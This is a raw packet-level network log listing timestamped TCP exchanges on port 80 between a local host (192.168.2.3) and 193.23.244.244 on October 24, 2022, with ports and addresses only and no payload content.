Oct 24, 2022 11:09:04.118376970 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.118413925 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.118449926 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.118475914 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.118480921 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.118516922 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.118546009 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.118557930 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.118582964 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.118613005 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.118622065 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.118654966 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.118680954 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.118706942 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.118732929 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.118757963 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.118783951 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.118792057 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.118812084 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.118815899 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.118839025 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.118846893 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.118865967 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.118916035 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.118930101 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.118961096 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.118988037 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119014978 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119021893 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.119041920 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119045973 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.119091988 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119097948 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.119121075 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119147062 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119172096 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119196892 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119223118 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119226933 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.119226933 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.119247913 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119272947 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119293928 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.119298935 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119313002 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.119327068 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119353056 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119379997 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119405031 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119416952 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.119431019 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119453907 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.119457960 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119483948 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119509935 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119512081 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.119529963 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.119537115 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119564056 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119590044 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119591951 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.119616032 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119640112 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119642019 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.119669914 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119695902 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119720936 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119720936 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.119746923 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119771957 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119796991 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119810104 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.119810104 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.119824886 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119852066 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119874954 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119877100 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.119903088 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119904041 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.119930029 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119949102 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.119955063 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.119982004 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.120007038 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.120007992 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.120033026 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.120059013 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.120081902 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.120084047 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.120102882 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.120112896 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.120140076 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.120166063 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.120168924 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.120193005 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.120229959 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.120256901 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.120270967 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.120270967 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.120285034 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.120312929 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.120336056 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.120364904 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.120393038 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.120412111 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.120420933 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.120449066 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.120470047 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.120476961 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.120505095 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.120529890 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.120553017 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.120558023 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.120574951 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.120585918 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.120613098 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.120640039 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.120640039 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.120666981 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.120692015 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.120718002 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.120718002 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.120774031 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.147938967 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.147985935 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.148017883 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.148049116 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.148077965 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.148111105 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.148140907 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.148144007 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.148181915 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.148214102 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.148224115 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.148257971 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.148282051 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.299998045 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.300457954 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.327270985 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.327299118 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.327316999 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.327337027 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.327353001 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.327361107 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.327384949 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.327389956 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.327406883 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.327430964 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.327454090 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.327455044 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.327478886 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.327480078 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.327500105 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.327518940 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.327534914 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.327554941 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.327577114 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.327578068 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.327599049 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.327620983 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.327621937 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.327642918 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.327665091 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.327666044 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.327686071 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.327707052 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.327708960 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.327747107 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.354942083 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.354973078 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355011940 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355030060 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355055094 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355056047 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.355081081 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355086088 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.355107069 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355133057 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355135918 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.355158091 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355180979 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.355182886 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355211020 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355223894 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.355233908 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355252028 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355274916 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355298042 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355300903 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.355319977 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355320930 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.355340004 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355360985 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.355364084 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355385065 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355402946 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.355408907 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355428934 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355444908 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.355452061 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355472088 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355489016 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355508089 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.355510950 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355535030 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355536938 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.355555058 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355572939 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355596066 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.355596066 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355618954 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.355621099 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355640888 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355659008 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355679035 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.355681896 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355701923 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.355706930 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355726004 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355743885 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355763912 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.355767965 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355787039 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.355792999 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355813026 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355829954 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355850935 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355853081 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.355875015 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355875969 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.355895042 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355911970 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355932951 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.355936050 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355956078 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.355962038 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.355984926 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356004000 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356023073 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.356026888 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356045961 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.356051922 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356072903 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356092930 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356112957 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356129885 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356151104 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.356153011 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356177092 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356180906 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.356199026 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356215000 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.356221914 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356241941 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356262922 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.356265068 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356286049 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356304884 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.356307983 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356328011 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356345892 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356363058 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356379986 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356398106 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356416941 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356429100 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.356441021 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356458902 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.356465101 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356488943 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356508017 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356519938 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.356529951 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356550932 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.356553078 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356570959 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356589079 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356605053 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356621981 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356640100 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356647968 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.356662035 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356679916 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.356684923 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356699944 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.356709957 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356728077 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356751919 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356753111 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.356771946 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356790066 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356806993 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356823921 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356841087 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356857061 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356874943 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356895924 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356899023 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.356914997 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356933117 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356945038 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.356954098 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356971979 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.356977940 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.356997013 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.357018948 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.357022047 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.357039928 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.357058048 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.357074976 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.357093096 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.357110023 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.357127905 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.357144117 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.357161045 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.357167006 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.357191086 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.357192039 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.357203007 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.357213974 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.357249022 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.357264996 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.357281923 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.357297897 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.357315063 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.357336998 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.357340097 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.357357025 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.357378006 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.357384920 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.357399940 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.357423067 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.357423067 CEST	49701	80	192.168.2.3	193.23.244.244
